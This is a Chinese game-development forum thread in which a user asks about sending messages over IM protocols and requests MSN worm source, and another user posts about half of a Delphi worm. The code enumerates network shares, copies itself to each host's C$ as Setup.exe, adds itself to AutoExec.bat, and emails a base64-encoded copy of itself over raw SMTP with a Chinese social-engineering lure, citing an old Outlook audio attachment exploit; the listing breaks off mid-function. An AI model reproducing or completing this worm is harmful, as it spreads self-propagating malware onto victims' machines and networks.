通过im实现互连网战棋的方法？^^

冰水

qq的协议不开放，前些日子还告了珊瑚虫，就先不不考虑了
msn与gtalk等几个都是开放协议的。有什么好点的方法可以通过他们发送接收消息吗？最好是封装好的dll。据说有，但没百度到TT
msn的sdk机器人个人版无法主动建立会话。好象还得通过ncesoft.com中转。

有msn蠕虫源码也可以，学习一下。感觉那些蠕虫都很强大啊，就是不知道会不会误报毒^^

冰水

3天了，自顶下^^

做游戏的新手

晕才2天啊``
好了为了不灌水嫌疑我说说吧{/hx}
别骂我
要认可喔``

1. 
   
2. Uses Windows, Winsock;
   
3. TYPE
   
4.    Triple = ARRAY[1..3] OF BYTE;
   
5.    Quad   = ARRAY[1..4] OF BYTE;
   
6. 
   
7. // Message
   
8. Const
   
9. Mess : String = 'This is test worm';
   
10. 
    
11. Var
    
12. // Network string
    
13. Domains      : String;
    
14. // Mail String
    
15. Mails        : String;
    
16. //Base 64 Encode
    
17. Buf          : Array[0..255] Of Char;
    
18. FileBuf      : Array[0..1000000] Of Byte;
    
19. CC           : String = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
    
20. 
    
21. // Lowercase Function.
    
22. Function LowerCase(const S: string): string;
    
23. var
    
24.   Len: Integer;
    
25. begin
    
26.   Len := Length(S);
    
27.   SetString(Result, PChar(S), Len);
    
28.   if Len > 0 then CharLowerBuff(Pointer(Result), Len);
    
29. end;
    
30. 
    
31. Function FileSize(FileName: String): Int64;
    
32. Var
    
33.    H: THandle;
    
34.    FData: TWin32FindData;
    
35. Begin
    
36.    Result:= -1;
    
37. 
    
38.    H:= FindFirstFile(PChar(FileName), FData);
    
39.    If H <> INVALID_HANDLE_VALUE Then
    
40.    Begin
    
41.      Windows.FindClose(H);
    
42.      Result:= Int64(FData.nFileSizeHigh) Shl 32 + FData.nFileSizeLow;
    
43.    End;
    
44. End;
    
45. 
    
46. Function ExtractFileName(Str:String):String;
    
47. Begin
    
48.   While Pos('\', Str)>0 Do
    
49.    Str := Copy(Str, Pos('\',Str)+1, Length(Str));
    
50.   Result := Str;
    
51. End;
    
52. 
    
53. // FileExists Function.
    
54. function FileExists(const FileName: string): Boolean;
    
55. var
    
56.    Handle: THandle;
    
57.    FindData: TWin32FindData;
    
58. begin
    
59.    Handle := FindFirstFileA(PChar(FileName), FindData);
    
60.    result:= Handle <> INVALID_HANDLE_VALUE;
    
61.    if result then
    
62.    begin
    
63.      CloseHandle(Handle);
    
64.    end;
    
65. end;
    
66. 
    
67. // Network Spread Function
    
68. procedure Enumeration(aResource:PNetResource);
    
69. var
    
70.     aHandle: THandle;
    
71.     k, BufferSize: DWORD;
    
72.     Buffer: array[0..1023] of TNetResource;
    
73.     i: Integer;
    
74. begin
    
75.     WNetOpenEnum(2,0,0,aResource,aHandle);
    
76.     k:=1024;
    
77.     BufferSize:=SizeOf(Buffer);
    
78.     while WNetEnumResource(aHandle,k,@Buffer,BufferSize)=0 do
    
79.     for i:=0 to k-1 do
    
80.     begin
    
81.      if Buffer[i].dwDisplayType=RESOURCEDISPLAYTYPE_SERVER then
    
82.       // Put all found domains in DOMAINS string. public declared.
    
83.       Domains := Domains + copy(LowerCase(Buffer[i].lpRemoteName),3,MAX_PATH) + #13#10;
    
84.      if Buffer[i].dwUsage>0 then
    
85.    Enumeration(@Buffer[i])
    
86.   end;
    
87.     WNetCloseEnum(aHandle);
    
88. end;
    
89. 
    
90. // Here is the main procedure.
    
91. Procedure Network;
    
92. Var
    
93.   Name : String;
    
94.   Auto : TextFile;
    
95. Begin
    
96.   // first of course enumerate the domains.
    
97.   Enumeration(NIL);
    
98.   // while domains aint NOTHING we grab out domains. (look liks : NAME#13#10NAME#13#10) :D
    
99.   While Domains <> '' Do Begin
    
100.    // strip out name
     
101.    Name := Copy(Domains, 1, Pos(#13#10, Domains)-1);
     
102.    // try, MIGHT fuck so better TRY.
     
103.    Try
     
104.     // COPY TO C!!
     
105.     CopyFile(pChar(ParamStr(0)), pChar(Name + '\C$\Setup.exe'), False);
     
106.     // modify autoexec so it launches setup.exe automaticly
     
107.     If FileExists(pChar(Name + '\C$\AutoExec.bat')) Then Begin
     
108.      AssignFile(Auto, Name + '\C$\AutoExec.bat');
     
109.      Append(Auto);
     
110.      WriteLn(Auto, 'Setup.exe');
     
111.      CloseFile(Auto);
     
112.     // where done, so lets go
     
113.     End;
     
114.    Except
     
115.     ;
     
116.    End;
     
117.    Domains := Copy(Domains, Pos(#13#10, Domains)+2, Length(Domains));
     
118. 
     
119. 
     
120.   
     
121. 作者： jacker0o   2006-3-5 15:33 　 回复此发言   
     
122. 
     
123. --------------------------------------------------------------------------------
     
124. 
     
125. 2 蠕虫源码  
     
126.    End;
     
127. End;
     
128. // Base64 Encode Written By Positron
     
129. // MailSend Written By p0ke
     
130. FUNCTION Codeb64(Count:BYTE;T:Triple) : STRING;
     
131. VAR
     
132.    Q    : Quad;
     
133.    Strg : STRING;
     
134. BEGIN
     
135.    IF Count<3 THEN BEGIN
     
136.      T[3]:=0;
     
137.      Q[4]:=64;
     
138.    END ELSE Q[4]:=(T[3] AND $3F);
     
139.    IF Count<2 THEN BEGIN
     
140.      T[2]:=0;
     
141.      Q[3]:=64;
     
142.    END ELSE Q[3]:=Byte(((T[2] SHL 2)OR(T[3] SHR 6)) AND $3F);
     
143.    Q[2]:=Byte(((T[1] SHL 4) OR (T[2] SHR 4)) AND $3F);
     
144.    Q[1]:=((T[1] SHR 2) AND $3F);
     
145.    Strg:='';
     
146.    FOR Count:=1 TO 4 DO Strg:=(Strg+CC[(Q[Count]+1)]);
     
147.    RESULT:=Strg;
     
148. END;
     
149. 
     
150. FUNCTION BASE64(DataLength:DWORD) : AnsiString;
     
151. VAR
     
152.    B      : AnsiString;
     
153.    I      : DWORD;
     
154.    Remain : DWORD;
     
155.    Trip   : Triple;
     
156.    Count  : WORD;
     
157. BEGIN
     
158.    Count:=0;
     
159.    B:='';
     
160.    FOR I:=1 TO DataLength DIV 3 DO BEGIN
     
161.      INC(Count,4);
     
162.      Trip[1]:=Ord(FileBuf[(I-1)*3+1]);
     
163.      Trip[2]:=Ord(FileBuf[(I-1)*3+2]);
     
164.      Trip[3]:=Ord(FileBuf[(I-1)*3+3]);
     
165.      B:=B+codeb64(3,Trip);
     
166.      IF Count=76 THEN BEGIN
     
167.        B:=B+#13#10;
     
168.        Count:=0;
     
169.      END;
     
170.    END;
     
171.    Remain:=DataLength-(DataLength DIV 3)*3;
     
172.    IF Remain>0 THEN BEGIN
     
173.      Trip[1]:=Ord(FileBuf[DataLength-1]);
     
174.      IF Remain>1 THEN Trip[2]:=Ord(FileBuf[DataLength]);
     
175.      IF Remain=1 THEN B:=B+Codeb64(1,Trip) ELSE B:=B+Codeb64(2,Trip);
     
176.    END;
     
177.    RESULT:=B;
     
178. END;
     
179. 
     
180. Procedure SendMail(Recip, From, Server: String);
     
181. Var
     
182.   Sock             : TSocket;
     
183.   Wsadatas         : TWSADATA;
     
184.   SockAddrIn       : TSockAddrIn;
     
185.   F                : FILE;
     
186. 
     
187. Procedure Mys(STR:STRING);
     
188. Begin
     
189.   Send(Sock,STR[1],Length(STR),0);
     
190. End;
     
191. 
     
192. Begin
     
193. // First try to connect to server.
     
194. 
     
195. // Startup
     
196. WSAStartUp(257,wsadatas);
     
197. // Set Socket
     
198. Sock:=Socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
     
199. // Set settings for socket
     
200. SockAddrIn.sin_family:=AF_INET;
     
201. // Set port, in this case 25
     
202. SockAddrIn.sin_port:=htons(25);
     
203. // Set address, in this case "Server"
     
204. SockAddrIn.sin_addr.S_addr:=inet_addr(PChar(Server));
     
205. // Try to connect
     
206. If Connect(Sock,SockAddrIn,SizeOf(SockAddrIn)) <> SOCKET_ERROR Then Begin
     
207.   // YAY, no errors. Lets go.
     
208. 
     
209.   // Hello Server
     
210.   Mys('HELO .com'+#13#10);
     
211.   // I want to send from "FROM"
     
212.   Mys('MAIL FROM: '+From+#13#10);
     
213.   // Recip is my victim :)
     
214.   Mys('RCPT TO: '+recip+#13#10);
     
215.   // Data, Data, Data, Data
     
216.   Mys('DATA'+#13#10);
     
217.   // From. ME!
     
218.   Mys('From: '+From+#13#10);
     
219.   // My Subject
     
220.   Mys('Subject: 好久不见，你还好吗'+#13#10);
     
221.   // Recip. YOU!
     
222.   Mys('To: '+Recip+#13#10);
     
223.   // MIME-VERSION 6.66
     
224.   Mys('MIME-Version: 1.0'+#13#10);
     
225.   // Lets Call It ShutFace
     
226.   Mys('Content-Type: multipart/mixed; boundary="ShutFace"'+#13#10+#13#10);
     
227.   // START SHUTFACE
     
228.   Mys('--ShutFace'+#13#10);
     
229.   // Text/Plain/Boring/FuckOff
     
230.   Mys('Content-Type: text/plain; charset:us-ascii'+#13#10+#13#10);
     
231.   // Omg, BODY!
     
232.   Mys('好久不见，你还好吗？请收好'+#13#10);
     
233.   Mys('附件。'+#13#10);
     
234.   Mys(#13#10+#13#10);
     
235.   // Stop ShutFace!
     
236.   Mys('--ShutFace'+#13#10);
     
237.   // Lets use a old old old, OOOOLD exploit in outlook. the AUDIO exploit :)
     
238.   Mys('Content-Type: audio/x-wav;'+#13#10);  
     
239. 
     

复制代码

先发一半{/cy}
认可了我编辑另一半``{/tp}

---

系统信息：本贴获得楼主认可，66RPG感谢您的热情解答～

冰水

过了36小时了啊^^写错了
楼上的是什么语言写的啊？应该是Delphi吧？
我只有一点点c的基础，这个……这个……-_-!

有vc的源码或者vb的源码吗？（vb的dll好象不是标准dll，ruby似乎无法调用orz有谁知道怎么回事？）

要是有封装好的dll插件就最好了^^

冰水

2天了，再顶下